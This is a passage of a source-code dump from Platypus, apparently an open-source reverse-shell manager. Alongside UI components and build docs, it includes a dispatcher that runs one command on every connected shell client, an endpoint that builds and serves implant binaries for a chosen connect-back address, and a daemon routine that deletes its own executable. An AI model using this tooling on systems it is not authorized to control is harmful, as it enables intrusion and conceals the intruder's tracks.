`Push` 功能**推**到目标机器(`127.0.0.1:1080`)。 72 | 73 | 此时,只需要在目标主机上使用 `proxychains` 挂上代理(`socks5 127.0.0.1 1080`)即可访问互联网(即:Platypus 所在网络)。 -------------------------------------------------------------------------------- /web/platypus/tailwind.config.ts: -------------------------------------------------------------------------------- 1 | import type { Config } from "tailwindcss"; 2 | 3 | const config: Config = { 4 | darkMode: ["class"], 5 | content: [ 6 | "./src/pages/**/*.{js,ts,jsx,tsx,mdx}", 7 | "./src/components/**/*.{js,ts,jsx,tsx,mdx}", 8 | "./src/app/**/*.{js,ts,jsx,tsx,mdx}", 9 | ], 10 | theme: { 11 | extend: { 12 | colors: { 13 | background: 'hsl(var(--background))', 14 | foreground: 'hsl(var(--foreground))', 15 | card: { 16 | DEFAULT: 'hsl(var(--card))', 17 | foreground: 'hsl(var(--card-foreground))' 18 | }, 19 | popover: { 20 | DEFAULT: 'hsl(var(--popover))', 21 | foreground: 'hsl(var(--popover-foreground))' 22 | }, 23 | primary: { 24 | DEFAULT: 'hsl(var(--primary))', 25 | foreground: 'hsl(var(--primary-foreground))' 26 | }, 27 | secondary: { 28 | DEFAULT: 'hsl(var(--secondary))', 29 | foreground: 'hsl(var(--secondary-foreground))' 30 | }, 31 | muted: { 32 | DEFAULT: 'hsl(var(--muted))', 33 | foreground: 'hsl(var(--muted-foreground))' 34 | }, 35 | accent: { 36 | DEFAULT: 'hsl(var(--accent))', 37 | foreground: 'hsl(var(--accent-foreground))' 38 | }, 39 | destructive: { 40 | DEFAULT: 'hsl(var(--destructive))', 41 | foreground: 'hsl(var(--destructive-foreground))' 42 | }, 43 | border: 'hsl(var(--border))', 44 | input: 'hsl(var(--input))', 45 | ring: 'hsl(var(--ring))', 46 | chart: { 47 | '1': 'hsl(var(--chart-1))', 48 | '2': 'hsl(var(--chart-2))', 49 | '3': 'hsl(var(--chart-3))', 50 | '4': 'hsl(var(--chart-4))', 51 | '5': 'hsl(var(--chart-5))' 52 | } 53 | }, 54 | borderRadius: { 55 | lg: 'var(--radius)', 56 | md: 'calc(var(--radius) - 2px)', 57 | sm: 'calc(var(--radius) - 4px)' 58 | } 59 | } 60 | }, 61 | plugins: [require("tailwindcss-animate")], 62 | }; 63 | export default config; 64 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/data_dispatcher.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "os" 7 | "strings" 8 | "time" 9 | 10 | "github.com/WangYihang/Platypus/internal/context" 11 | "github.com/WangYihang/Platypus/internal/utils/log" 12 | ) 13 | 14 | func (dispatcher commandDispatcher) DataDispatcher(args []string) { 15 | fmt.Print("Input command: ") 16 | inputReader := bufio.NewReader(os.Stdin) 17 | command, err := inputReader.ReadString('\n') 18 | if err != nil { 19 | log.Error("Empty command") 20 | fmt.Println() 21 | return 22 | } 23 | n := 0 24 | command = strings.TrimSpace(command) 25 | for _, server := range context.Ctx.Servers { 26 | for _, client := range (*server).GetAllTCPClients() { 27 | if client.GroupDispatch { 28 | log.Info("Executing on %s: %s", client.FullDesc(), command) 29 | result := client.SystemToken(command) 30 | log.Success("%s", result) 31 | n++ 32 | } 33 | } 34 | 35 | for _, client := range (*server).GetAllTermiteClients() { 36 | if client.GroupDispatch { 37 | log.Info("Executing on %s: %s", client.FullDesc(), command) 38 | // Check for timeout 39 | c1 := make(chan string, 1) 40 | go func() { 41 | result := client.System(command) 42 | c1 <- result 43 | }() 44 | select { 45 | case result := <-c1: 46 | log.Success("%s", result) 47 | case <-time.After(3 * time.Second): 48 | log.Error("Command timed out %s: %s", client.FullDesc(), command) 49 | } 50 | n++ 51 | } 52 | } 53 | } 54 | log.Success("Execution finished, %d node DataDispatcherd", n) 55 | } 56 | 57 | func (dispatcher commandDispatcher) DataDispatcherHelp(args []string) { 58 | fmt.Println("Usage of DataDispatcher") 59 | fmt.Println("\tDataDispatcher") 60 | } 61 | 62 | func (dispatcher commandDispatcher) DataDispatcherDesc(args []string) { 63 | fmt.Println("DataDispatcher") 64 | fmt.Println("\tDataDispatcher command on all clients which are interactive") 65 | } 66 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/info.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/WangYihang/Platypus/internal/context" 7 | "github.com/WangYihang/Platypus/internal/utils/log" 8 | ) 9 | 10 | func (dispatcher commandDispatcher) Info(args []string) { 11 | if len(args) > 1 { 12 | log.Error("Arguments error, use `Help Info` to get more information") 13 | dispatcher.InfoHelp([]string{}) 14 | return 15 | } 16 | 17 | if len(args) == 0 { 18 | if context.Ctx.Current == nil && context.Ctx.CurrentTermite == nil { 19 | log.Error("Interactive session is not set, please use `Jump` command to set the interactive Interact") 20 | return 21 | } 22 | 23 | if context.Ctx.Current != nil { 24 | current := context.Ctx.Current 25 | current.AsTable() 26 | return 27 | } 28 | 29 | if context.Ctx.CurrentTermite != nil { 30 | current := context.Ctx.CurrentTermite 31 | current.AsTable() 32 | return 33 | } 34 | } else { 35 | clue := args[0] 36 | // Client Information 37 | targetClient := context.Ctx.FindTCPClientByHash(clue) 38 | if targetClient != nil { 39 | targetClient.AsTable() 40 | return 41 | } 42 | 43 | // Client Information 44 | targetTermiteClient := context.Ctx.FindTermiteClientByHash(clue) 45 | if targetTermiteClient != nil { 46 | targetTermiteClient.AsTable() 47 | return 48 | } 49 | 50 | // Server Information 51 | targetServer := context.Ctx.FindServerByHash(clue) 52 | if targetServer != nil { 53 | targetServer.AsTable() 54 | return 55 | } 56 | log.Error("No such node") 57 | } 58 | } 59 | 60 | func (dispatcher commandDispatcher) InfoHelp(args []string) { 61 | fmt.Println("Usage of Info") 62 | fmt.Println("\tInfo [HASH]") 63 | fmt.Println("\tHASH\tThe hash of an node, node can be both a server or a client") 64 | } 65 | 66 | func (dispatcher commandDispatcher) InfoDesc(args []string) { 67 | fmt.Println("Info") 68 | fmt.Println("\tDisplay the information of a node, using the hash of the node") 69 | } 70 | -------------------------------------------------------------------------------- /web/frontend/src/components/Banner/ServerCreator/CreateServerButton.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import qs from "qs"; 3 | import { Button, message } from "antd"; 4 | 5 | const axios = require("axios"); 6 | 7 | export default class CreateServerButton extends React.Component { 8 | render() { 9 | return 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /pkg/utils/daemon.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/sevlyar/go-daemon" 7 | "go.uber.org/zap" 8 | ) 9 | 10 | // DaemonOptions contains configuration options for daemon mode 11 | type DaemonOptions struct { 12 | WorkDir string // Working directory for daemon process 13 | Umask int // File mode creation mask 14 | Args []string // Command line arguments for daemon process 15 | PidFile string // Optional PID file path 16 | } 17 | 18 | // DefaultDaemonOptions returns the default configuration for daemon mode 19 | func DefaultDaemonOptions() *DaemonOptions { 20 | return &DaemonOptions{ 21 | WorkDir: "/", 22 | Umask: 027, 23 | Args: []string{}, 24 | } 25 | } 26 | 27 | // StartDaemonMode starts the application in daemon mode. 28 | // If successful, the parent process exits and the child continues as a daemon. 29 | // The executable will be removed only in the daemon process. 30 | // Returns nil if the process was successfully daemonized or exited as parent. 31 | func StartDaemonMode(logger *zap.Logger, opts *DaemonOptions) error { 32 | if opts == nil { 33 | opts = DefaultDaemonOptions() 34 | } 35 | 36 | ctx := &daemon.Context{ 37 | WorkDir: opts.WorkDir, 38 | Umask: opts.Umask, 39 | Args: opts.Args, 40 | } 41 | 42 | if opts.PidFile != "" { 43 | ctx.PidFileName = opts.PidFile 44 | ctx.PidFilePerm = 0644 45 | } 46 | 47 | child, err := ctx.Reborn() 48 | if err != nil { 49 | logger.Error("Failed to start daemon process", zap.Error(err)) 50 | return err 51 | } 52 | 53 | // Parent process 54 | if child != nil { 55 | logger.Info("Parent process exiting, daemon started") 56 | os.Exit(0) 57 | } 58 | 59 | // Child (daemon) process 60 | logger.Info("Running as daemon process") 61 | defer ctx.Release() 62 | 63 | // Remove the executable that started this daemon 64 | if err := RemoveSelfExecutable(logger); err != nil { 65 | logger.Error("Failed to remove self executable", zap.Error(err)) 66 | } 67 | 68 | return nil 69 | } 70 | -------------------------------------------------------------------------------- /web/frontend/src/components/Banner/Banner.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { Layout } from "antd"; 3 | import ServerCreator from "./ServerCreator/SeverCreator"; 4 | import { Row, Col } from 'antd'; 5 | export default class Banner extends React.Component { 6 | render() { 7 | return 8 |

9 | 10 | 11 | {/*
*/} 12 | Platypus 13 | 14 | 15 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 |

36 |
37 | } 38 | } -------------------------------------------------------------------------------- /web/ttyd/gulpfile.js: -------------------------------------------------------------------------------- 1 | const { src, dest, task, series } = require("gulp"); 2 | const clean = require('gulp-clean'); 3 | const gzip = require('gulp-gzip'); 4 | const inlineSource = require('gulp-inline-source'); 5 | const rename = require("gulp-rename"); 6 | const through2 = require('through2'); 7 | 8 | const genHeader = (size, buf, len) => { 9 | let idx = 0; 10 | let data = "unsigned char index_html[] = {\n "; 11 | 12 | for (const value of buf) { 13 | idx++; 14 | 15 | let current = value < 0 ? value + 256 : value; 16 | 17 | data += "0x"; 18 | data += (current >>> 4).toString(16); 19 | data += (current & 0xF).toString(16); 20 | 21 | if (idx === len) { 22 | data += "\n"; 23 | } else { 24 | data += idx % 12 === 0 ? ",\n " : ", "; 25 | } 26 | } 27 | 28 | data += "};\n"; 29 | data += `unsigned int index_html_len = ${len};\n`; 30 | data += `unsigned int index_html_size = ${size};\n`; 31 | return data; 32 | }; 33 | let fileSize = 0; 34 | 35 | task('clean', () => { 36 | return src('dist', { read: false, allowEmpty: true }) 37 | .pipe(clean()); 38 | }); 39 | 40 | task('inline', () => { 41 | return src('dist/index.html') 42 | .pipe(inlineSource()) 43 | .pipe(rename("inline.html")) 44 | .pipe(dest('dist/')); 45 | }); 46 | 47 | task('default', series('inline', () => { 48 | return src('dist/inline.html') 49 | .pipe(through2.obj((file, enc, cb) => { 50 | fileSize = file.contents.length; 51 | return cb(null, file); 52 | })) 53 | .pipe(gzip()) 54 | .pipe(through2.obj((file, enc, cb) => { 55 | const buf = file.contents; 56 | file.contents = Buffer.from(genHeader(fileSize, buf, buf.length)); 57 | return cb(null, file); 58 | })) 59 | .pipe(rename("html.h")) 60 | .pipe(dest('../src/')); 61 | })); 62 | 63 | // To be implemented for Platypus 64 | task('default', series('inline')) -------------------------------------------------------------------------------- /internal/cli/dispatcher/delete.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/WangYihang/Platypus/internal/context" 8 | "github.com/WangYihang/Platypus/internal/utils/log" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) Delete(args []string) { 12 | if len(args) != 1 { 13 | log.Error("Arguments error, use `Help Delete` to get more information") 14 | dispatcher.DeleteHelp([]string{}) 15 | return 16 | } 17 | 18 | clue := strings.ToLower(args[0]) 19 | 20 | // Delete TCPClient 21 | target := context.Ctx.FindTCPClientByHash(clue) 22 | if target == nil { 23 | target = context.Ctx.FindTCPClientByAlias(clue) 24 | } 25 | if target != nil { 26 | log.Success("Delete client node [%s]", target.Hash) 27 | context.Ctx.DeleteTCPClient(target) 28 | return 29 | } 30 | 31 | // Delete TermiteClient 32 | targetTermite := context.Ctx.FindTermiteClientByHash(clue) 33 | if targetTermite == nil { 34 | targetTermite = context.Ctx.FindTermiteClientByAlias(clue) 35 | } 36 | if targetTermite != nil { 37 | log.Success("Delete encrypted client node [%s]", targetTermite.Hash) 38 | context.Ctx.DeleteTermiteClient(targetTermite) 39 | return 40 | } 41 | 42 | // Delete Server 43 | targetServer := context.Ctx.FindServerByHash(clue) 44 | if targetServer != nil { 45 | if targetServer.Encrypted { 46 | log.Success("Delete encrypted server node [%s]", targetServer.Hash) 47 | } else { 48 | log.Success("Delete server node [%s]", targetServer.Hash) 49 | } 50 | context.Ctx.DeleteServer(targetServer) 51 | return 52 | } 53 | 54 | log.Error("No such node") 55 | } 56 | 57 | func (dispatcher commandDispatcher) DeleteHelp(args []string) { 58 | fmt.Println("Usage of Delete") 59 | fmt.Println("\tDelete [HASH]") 60 | fmt.Println("\tHASH\tThe hash of an node, node can be both a server or a client") 61 | } 62 | 63 | func (dispatcher commandDispatcher) DeleteDesc(args []string) { 64 | fmt.Println("Delete") 65 | fmt.Println("\tDelete a node, node can be both a server or a client") 66 | } 67 | -------------------------------------------------------------------------------- /docs/platypus/docs/dev-guide/internal/build.md: -------------------------------------------------------------------------------- 1 | # 编译 2 | 3 | !!! Warning 4 | 由于 Web 前端的编译依赖于某些 Linux 的特性,因此暂不支持在 Windows 平台对 Platypus 进行编译。 5 | 6 | ## 完整编译 7 | 8 | 准备一个纯净的 Ubuntu 20.04 环境,然后执行如下命令: 9 | 10 | ```bash 11 | sudo apt update && \ 12 | sudo apt install -y curl make && \ 13 | git clone https://github.com/WangYihang/Platypus.git && \ 14 | cd Platypus && \ 15 | make install_dependency && \ 16 | make release 17 | ``` 18 | 19 | 编译成功后,发行版将会位于 `./build` 文件夹中。 20 | 21 | !!! Warning 22 | 使用 [Makefile](https://github.com/WangYihang/Platypus/blob/master/Makefile) 安装依赖的时候会通过 `raw.githubusercontent.com` 下载 `nvm` 的安装文件,因此需要确保您可以正常访问 `raw.githubusercontent.com`。如果您不能正常访问该域名,则需要您根据 Makefile 中的依赖安装部分手动安装所需依赖。 23 | 24 | ## 单独编译 25 | 26 | ### 安装编译环境 27 | 28 | !!! 编译环境依赖如下程序 29 | * golang >= 1.6 30 | * node >= 14 31 | * yarn 32 | * upx 33 | 34 | ```bash 35 | make install_dependency 36 | ``` 37 | 38 | ### 编译 Web 前端 39 | 40 | ```bash 41 | make build_frontend 42 | ``` 43 | 44 | ### 编译 Termite 45 | 46 | ```bash 47 | make build_termite 48 | ``` 49 | 50 | 为了保证 Platypus 只有单个文件,因此在编译 Platypus 时,会将所有 Termite 的二进制文件直接打包到 Platypus 的可执行文件中。 51 | 52 | 但为了避免打包后的 Platypus 过大,目前暂时只配置了编译 `linux_amd64` 平台的 Termite,如需其他平台,可以修改 Makefile 53 | 中 `build_termite` 的部分,如下: 54 | 55 | ``` 56 | env GOOS=linux GOARCH=amd64 go build -o termites/termite_linux_amd64 termite.go 57 | ``` 58 | 59 | 可以通过 `go tool dist list` 列出所有 Golang 支持的操作系统与平台组合。 60 | 61 | !!! Warning 62 | 由于 Termite 依赖于 Linux 的伪终端特性,因此暂时不支持编译能在 Windows 上运行的 Termite 客户端。 63 | 64 | ### 整合资源文件 65 | 66 | 本步骤会将之前编译好的 Web 前端文件、Termite 可执行文件等统一打包用以编译 Platypus。 67 | 68 | ```bash 69 | make collect_assets 70 | ``` 71 | 72 | ### 编译发布版本 73 | 74 | ```bash 75 | make release 76 | ``` 77 | 78 | 为了避免 GitHub Actions 编译太多目标平台的发行版导致资源消耗严重,因此默认只配置了 3 个 79 | 常见的目标平台,分别是: 80 | 81 | * windows/amd64 82 | * linux/amd64 83 | * darwin/amd64 84 | 85 | 如果需要添加其他平台,可以通过修改 Makefile 中的 `release` 部分来实现。 86 | 87 | ``` 88 | env GOOS=linux GOARCH=amd64 go build -o ./build/Platypus_linux_amd64 platypus.go 89 | ``` -------------------------------------------------------------------------------- /web/frontend/src/components/LeftTable/index.jsx: -------------------------------------------------------------------------------- 1 | import axios from 'axios' 2 | import React, { Component } from 'react' 3 | import LeftItem from '../LeftItem' 4 | 5 | export default class LeftTable extends Component { 6 | state = { 7 | newRoleName:"", 8 | } 9 | 10 | getNewRoleName=(e)=>{ 11 | this.setState({newRoleName:e.target.value}) 12 | } 13 | 14 | postNewRoleName=()=>{ 15 | axios 16 | .post([this.props.rbacUrl, "/role"].join(""),{"grade":this.state.newRoleName}) 17 | .then((response)=>{ 18 | if (response.data.status === false){ 19 | alert(response.data.msg) 20 | return 21 | } 22 | this.props.getRoleAccesses() 23 | this.setState({newRoleName:""}) 24 | }) 25 | .catch((error) => { 26 | 27 | // message.error("Cannot connect to API EndPoint: " + error, 5); 28 | }); 29 | 30 | 31 | } 32 | render() { 33 | const {leftList,getrightlist,getLeftName,hasCreate} = this.props 34 | return ( 35 |
36 | 37 | { 38 | leftList.map(leftitem=>{ 39 | return 40 | }) 41 | } 42 | {hasCreate && 43 | 44 | 49 | 50 | } 51 |
45 | 46 | 47 | 48 |
52 |
53 | ) 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /internal/utils/log/log.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | 8 | "github.com/fatih/color" 9 | ) 10 | 11 | var Logger = log.New(os.Stderr, "", log.Ldate|log.Ltime) 12 | 13 | const ( 14 | debug = "[DEBUG]" 15 | info = "[INFO]" 16 | err = "[ERROR]" 17 | warn = "[WARN]" 18 | success = "[SUCCESS]" 19 | data = "[DATA]" 20 | tunnel = "[TUNNEL]" 21 | ) 22 | 23 | var enabled = []string{ 24 | info, 25 | err, 26 | warn, 27 | // debug, 28 | success, 29 | // data, 30 | } 31 | 32 | func Data(format string, a ...interface{}) { 33 | for _, mode := range enabled { 34 | if mode == "[DATA]" { 35 | color.Set(color.FgMagenta) 36 | Logger.Print(fmt.Sprintf(format, a...)) 37 | color.Unset() 38 | return 39 | } 40 | } 41 | } 42 | 43 | func Debug(format string, a ...interface{}) { 44 | for _, mode := range enabled { 45 | if mode == "[DEBUG]" { 46 | color.Set(color.FgYellow) 47 | Logger.Print(fmt.Sprintf(format, a...)) 48 | color.Unset() 49 | return 50 | } 51 | } 52 | } 53 | 54 | func Info(format string, a ...interface{}) { 55 | for _, mode := range enabled { 56 | if mode == "[INFO]" { 57 | color.Set(color.FgBlue) 58 | Logger.Print(fmt.Sprintf(format, a...)) 59 | color.Unset() 60 | return 61 | } 62 | } 63 | } 64 | 65 | func Error(format string, a ...interface{}) { 66 | for _, mode := range enabled { 67 | if mode == "[ERROR]" { 68 | color.Set(color.FgRed) 69 | Logger.Print(fmt.Sprintf(format, a...)) 70 | color.Unset() 71 | return 72 | } 73 | } 74 | } 75 | func Warn(format string, a ...interface{}) { 76 | for _, mode := range enabled { 77 | if mode == "[WARN]" { 78 | color.Set(color.FgMagenta) 79 | Logger.Print(fmt.Sprintf(format, a...)) 80 | color.Unset() 81 | return 82 | } 83 | } 84 | } 85 | 86 | func Success(format string, a ...interface{}) { 87 | for _, mode := range enabled { 88 | if mode == "[SUCCESS]" { 89 | color.Set(color.FgGreen) 90 | Logger.Print(fmt.Sprintf(format, a...)) 91 | color.Unset() 92 | return 93 | } 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /web/platypus/src/components/ui/button.tsx: -------------------------------------------------------------------------------- 1 | import * as React from "react" 2 | import { Slot } from "@radix-ui/react-slot" 3 | import { cva, type VariantProps } from "class-variance-authority" 4 | 5 | import { cn } from "@/lib/utils" 6 | 7 | const buttonVariants = cva( 8 | "inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50", 9 | { 10 | variants: { 11 | variant: { 12 | default: 13 | "bg-primary text-primary-foreground shadow hover:bg-primary/90", 14 | destructive: 15 | "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90", 16 | outline: 17 | "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground", 18 | secondary: 19 | "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80", 20 | ghost: "hover:bg-accent hover:text-accent-foreground", 21 | link: "text-primary underline-offset-4 hover:underline", 22 | }, 23 | size: { 24 | default: "h-9 px-4 py-2", 25 | sm: "h-8 rounded-md px-3 text-xs", 26 | lg: "h-10 rounded-md px-8", 27 | icon: "h-9 w-9", 28 | }, 29 | }, 30 | defaultVariants: { 31 | variant: "default", 32 | size: "default", 33 | }, 34 | } 35 | ) 36 | 37 | export interface ButtonProps 38 | extends React.ButtonHTMLAttributes, 39 | VariantProps { 40 | asChild?: boolean 41 | } 42 | 43 | const Button = React.forwardRef( 44 | ({ className, variant, size, asChild = false, ...props }, ref) => { 45 | const Comp = asChild ? Slot : "button" 46 | return ( 47 | 52 | ) 53 | } 54 | ) 55 | Button.displayName = "Button" 56 | 57 | export { Button, buttonVariants } 58 | -------------------------------------------------------------------------------- /internal/context/distributor.go: -------------------------------------------------------------------------------- 1 | package context 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "os" 7 | 8 | "github.com/WangYihang/Platypus/internal/utils/compiler" 9 | "github.com/WangYihang/Platypus/internal/utils/log" 10 | "github.com/WangYihang/Platypus/internal/utils/network" 11 | "github.com/gin-gonic/gin" 12 | ) 13 | 14 | type Distributor struct { 15 | Host string `json:"host"` 16 | Port uint16 `json:"port"` 17 | Interfaces []string `json:"interfaces"` 18 | Route map[string]string `json:"route"` 19 | Url string `json:"url"` 20 | } 21 | 22 | func CreateDistributorServer(host string, port uint16, url string) *gin.Engine { 23 | gin.SetMode(gin.ReleaseMode) 24 | gin.DefaultWriter = ioutil.Discard 25 | endpoint := gin.Default() 26 | 27 | // Connect with context 28 | Ctx.Distributor = &Distributor{ 29 | Host: host, 30 | Port: port, 31 | Interfaces: network.GatherInterfacesList(host), 32 | Route: map[string]string{}, 33 | Url: url, 34 | } 35 | 36 | endpoint.GET("/termite/:target", func(c *gin.Context) { 37 | if !paramsExistOrAbort(c, []string{"target"}) { 38 | return 39 | } 40 | target := c.Param("target") 41 | // TODO: Check format 42 | 43 | if target == "" { 44 | log.Error("Invalid connect back addr: %v", target) 45 | panicRESTfully(c, "Invalid connect back addr") 46 | return 47 | } 48 | 49 | // Generate temp folder and filename 50 | dir, filename, err := compiler.GenerateDirFilename() 51 | if err != nil { 52 | log.Error(fmt.Sprint(err)) 53 | panicRESTfully(c, err.Error()) 54 | return 55 | } 56 | defer os.RemoveAll(dir) 57 | 58 | // Build Termite binary 59 | err = compiler.BuildTermiteFromPrebuildAssets(filename, target) 60 | if err != nil { 61 | log.Error(fmt.Sprint(err)) 62 | panicRESTfully(c, err.Error()) 63 | return 64 | } 65 | 66 | // Compress binary 67 | if !compiler.Compress(filename) { 68 | log.Error("Can not compress termite.go") 69 | } 70 | 71 | // Response file 72 | c.File(filename) 73 | }) 74 | return endpoint 75 | } 76 | -------------------------------------------------------------------------------- /web/ttyd/src/components/app.tsx: -------------------------------------------------------------------------------- 1 | import { h, Component } from 'preact'; 2 | 3 | import { ITerminalOptions, ITheme } from 'xterm'; 4 | import { ClientOptions, Xterm } from './terminal'; 5 | 6 | if ((module as any).hot) { 7 | // tslint:disable-next-line:no-var-requires 8 | require('preact/debug'); 9 | } 10 | 11 | const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; 12 | const path = window.location.pathname.replace(/[\/]+$/, ''); 13 | const wsUrl = [ 14 | protocol, 15 | '//', 16 | window.location.host, 17 | '/ws', 18 | '/', 19 | window.location.search.substr(1, window.location.search.length), 20 | ].join(''); 21 | const tokenUrl = [window.location.protocol, '//', window.location.host, path, '/token'].join(''); 22 | const clientOptions = { 23 | rendererType: 'webgl', 24 | disableLeaveAlert: false, 25 | disableResizeOverlay: false, 26 | titleFixed: null, 27 | } as ClientOptions; 28 | const termOptions = { 29 | fontSize: 13, 30 | fontFamily: 'Menlo For Powerline,Consolas,Liberation Mono,Menlo,Courier,monospace', 31 | theme: { 32 | foreground: '#d2d2d2', 33 | background: '#2b2b2b', 34 | cursor: '#adadad', 35 | black: '#000000', 36 | red: '#d81e00', 37 | green: '#5ea702', 38 | yellow: '#cfae00', 39 | blue: '#427ab3', 40 | magenta: '#89658e', 41 | cyan: '#00a7aa', 42 | white: '#dbded8', 43 | brightBlack: '#686a66', 44 | brightRed: '#f54235', 45 | brightGreen: '#99e343', 46 | brightYellow: '#fdeb61', 47 | brightBlue: '#84b0d8', 48 | brightMagenta: '#bc94b7', 49 | brightCyan: '#37e6e8', 50 | brightWhite: '#f1f1f0', 51 | } as ITheme, 52 | } as ITerminalOptions; 53 | 54 | export class App extends Component { 55 | render() { 56 | return ( 57 | 64 | ); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /docs/platypus/src/components/HomepageFeatures/index.tsx: -------------------------------------------------------------------------------- 1 | import clsx from 'clsx'; 2 | import Heading from '@theme/Heading'; 3 | import styles from './styles.module.css'; 4 | 5 | type FeatureItem = { 6 | title: string; 7 | Svg: React.ComponentType>; 8 | description: JSX.Element; 9 | }; 10 | 11 | const FeatureList: FeatureItem[] = [ 12 | { 13 | title: 'Easy to Use', 14 | Svg: require('@site/static/images/undraw_docusaurus_mountain.svg').default, 15 | description: ( 16 | <> 17 | Docusaurus was designed from the ground up to be easily installed and 18 | used to get your website up and running quickly. 19 | 20 | ), 21 | }, 22 | { 23 | title: 'Focus on What Matters', 24 | Svg: require('@site/static/images/undraw_docusaurus_tree.svg').default, 25 | description: ( 26 | <> 27 | Docusaurus lets you focus on your docs, and we'll do the chores. Go 28 | ahead and move your docs into the docs directory. 29 | 30 | ), 31 | }, 32 | { 33 | title: 'Powered by React', 34 | Svg: require('@site/static/images/undraw_docusaurus_react.svg').default, 35 | description: ( 36 | <> 37 | Extend or customize your website layout by reusing React. Docusaurus can 38 | be extended while reusing the same header and footer. 39 | 40 | ), 41 | }, 42 | ]; 43 | 44 | function Feature({title, Svg, description}: FeatureItem) { 45 | return ( 46 |
47 |
48 | 49 |
50 |
51 | {title} 52 |

{description}

53 |
54 |
55 | ); 56 | } 57 | 58 | export default function HomepageFeatures(): JSX.Element { 59 | return ( 60 |
61 |
62 |
63 | {FeatureList.map((props, idx) => ( 64 | 65 | ))} 66 |
67 |
68 |
69 | ); 70 | } 71 | -------------------------------------------------------------------------------- /web/platypus/src/app/globals.css: -------------------------------------------------------------------------------- 1 | @tailwind base; 2 | @tailwind components; 3 | @tailwind utilities; 4 | 5 | :root { 6 | --background: #ffffff; 7 | --foreground: #171717; 8 | } 9 | 10 | @media (prefers-color-scheme: dark) { 11 | :root { 12 | --background: #0a0a0a; 13 | --foreground: #ededed; 14 | } 15 | } 16 | 17 | body { 18 | color: var(--foreground); 19 | background: var(--background); 20 | font-family: Arial, Helvetica, sans-serif; 21 | } 22 | 23 | @layer utilities { 24 | .text-balance { 25 | text-wrap: balance; 26 | } 27 | } 28 | 29 | @layer base { 30 | :root { 31 | --background: 0 0% 100%; 32 | --foreground: 0 0% 3.9%; 33 | --card: 0 0% 100%; 34 | --card-foreground: 0 0% 3.9%; 35 | --popover: 0 0% 100%; 36 | --popover-foreground: 0 0% 3.9%; 37 | --primary: 0 0% 9%; 38 | --primary-foreground: 0 0% 98%; 39 | --secondary: 0 0% 96.1%; 40 | --secondary-foreground: 0 0% 9%; 41 | --muted: 0 0% 96.1%; 42 | --muted-foreground: 0 0% 45.1%; 43 | --accent: 0 0% 96.1%; 44 | --accent-foreground: 0 0% 9%; 45 | --destructive: 0 84.2% 60.2%; 46 | --destructive-foreground: 0 0% 98%; 47 | --border: 0 0% 89.8%; 48 | --input: 0 0% 89.8%; 49 | --ring: 0 0% 3.9%; 50 | --chart-1: 12 76% 61%; 51 | --chart-2: 173 58% 39%; 52 | --chart-3: 197 37% 24%; 53 | --chart-4: 43 74% 66%; 54 | --chart-5: 27 87% 67%; 55 | --radius: 0.5rem; 56 | } 57 | .dark { 58 | --background: 0 0% 3.9%; 59 | --foreground: 0 0% 98%; 60 | --card: 0 0% 3.9%; 61 | --card-foreground: 0 0% 98%; 62 | --popover: 0 0% 3.9%; 63 | --popover-foreground: 0 0% 98%; 64 | --primary: 0 0% 98%; 65 | --primary-foreground: 0 0% 9%; 66 | --secondary: 0 0% 14.9%; 67 | --secondary-foreground: 0 0% 98%; 68 | --muted: 0 0% 14.9%; 69 | --muted-foreground: 0 0% 63.9%; 70 | --accent: 0 0% 14.9%; 71 | --accent-foreground: 0 0% 98%; 72 | --destructive: 0 62.8% 30.6%; 73 | --destructive-foreground: 0 0% 98%; 74 | --border: 0 0% 14.9%; 75 | --input: 0 0% 14.9%; 76 | --ring: 0 0% 83.1%; 77 | --chart-1: 220 70% 50%; 78 | --chart-2: 160 60% 45%; 79 | --chart-3: 30 80% 55%; 80 | --chart-4: 280 65% 60%; 81 | --chart-5: 340 75% 55%; 82 | } 83 | } 84 | 85 | @layer base { 86 | * { 87 | @apply border-border; 88 | } 89 | body { 90 | @apply bg-background text-foreground; 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/jump.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/WangYihang/Platypus/internal/context" 7 | "github.com/WangYihang/Platypus/internal/utils/log" 8 | "github.com/fatih/color" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) Jump(args []string) { 12 | if len(args) != 1 { 13 | log.Error("Arguments error, use `Help Jump` to get more information") 14 | dispatcher.JumpHelp([]string{}) 15 | return 16 | } 17 | 18 | clue := args[0] 19 | 20 | // TCPClient 21 | // Search via Hash 22 | var target *context.TCPClient = context.Ctx.FindTCPClientByHash(clue) 23 | 24 | // Searching via Hash failed, search via Alias 25 | if target == nil { 26 | target = context.Ctx.FindTCPClientByAlias(clue) 27 | } 28 | 29 | if target != nil { 30 | // TODO: lock, websocket race condition when jumping 31 | context.Ctx.CurrentTermite = nil 32 | context.Ctx.Current = target 33 | log.Success("The current interactive shell is set to: %s", context.Ctx.Current.FullDesc()) 34 | // Update prompt 35 | // BUG: 36 | // The prompt 